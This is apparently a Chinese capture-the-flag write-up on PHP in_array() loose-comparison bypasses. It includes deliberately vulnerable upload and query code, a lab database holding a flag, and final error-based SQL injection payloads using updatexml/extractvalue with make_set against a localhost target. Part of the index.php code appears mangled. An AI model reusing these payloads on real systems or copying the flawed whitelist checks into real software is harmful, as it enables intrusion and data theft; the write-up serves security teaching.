1
in_array()
函数搜索数组中是否存在指定的值。
语法:in_array(search,array,type)
参数
描述
search
必需。规定要在数组搜索的值。
array
必需。规定要搜索的数组。
type
可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
class Challenge {
//设置图片上传目录
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
//当对创建时调用的函数
public function __construct($file) {
//将外部上传的图片内容信息赋值给$this->_file
$this->file = $file;
//设置1-24的值分别赋值给whitelist白名单
$this->whitelist = range(1, 24);
}
//当对象销毁时使用
public function __destruct() {
//判断传进来的图片名称是否符合白名单里面的信息
//这段代码的主要漏洞就在这里in_array()判断不严格 没加true 此时判断是不会判断类型的
//所以我们可以上传1-24数字开头的值即可绕过导致图片任意上传
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
index.php
connect\_error) { die("连接失败: "); } $sql = "SELECT COUNT(\*) FROM users"; $whitelist = array(); $result = $conn->query($sql); if($result->num\_rows > 0){ $row = $result->fetch\_assoc(); $whitelist = range(1, $row\['COUNT(\*)'\]); } $id = stop\_hack($\_GET\['id'\]); // $id = $\_GET\['id'\]; $sql = "SELECT \* FROM users WHERE id=$id"; print\_r($sql); if (!in\_array($id, $whitelist)) { die("id $id is not in whitelist."); } $result = $conn->query($sql); if($result->num\_rows > 0){ $row = $result->fetch\_assoc(); echo "config.php
数据库
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
这道题目考察的是 in_array 绕过和不能使用拼接函数的 updatexml 注入这里 in_array 函数没有使用强匹配,所以是可以绕过的,例如: id=1' 是可以成功绕过 in_array 函数的。
stop_hack函数过滤了各种数据库操作指令 如数据库连接操作可以使用make_set()函数代替
最终payload:
http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
payload2
http://127.0.0.1/hua01/index.php?id=1 and extractvalue(1,make_set(3,'~',select flag from flag))
1
手机扫一扫
移动阅读更方便
你可能感兴趣的文章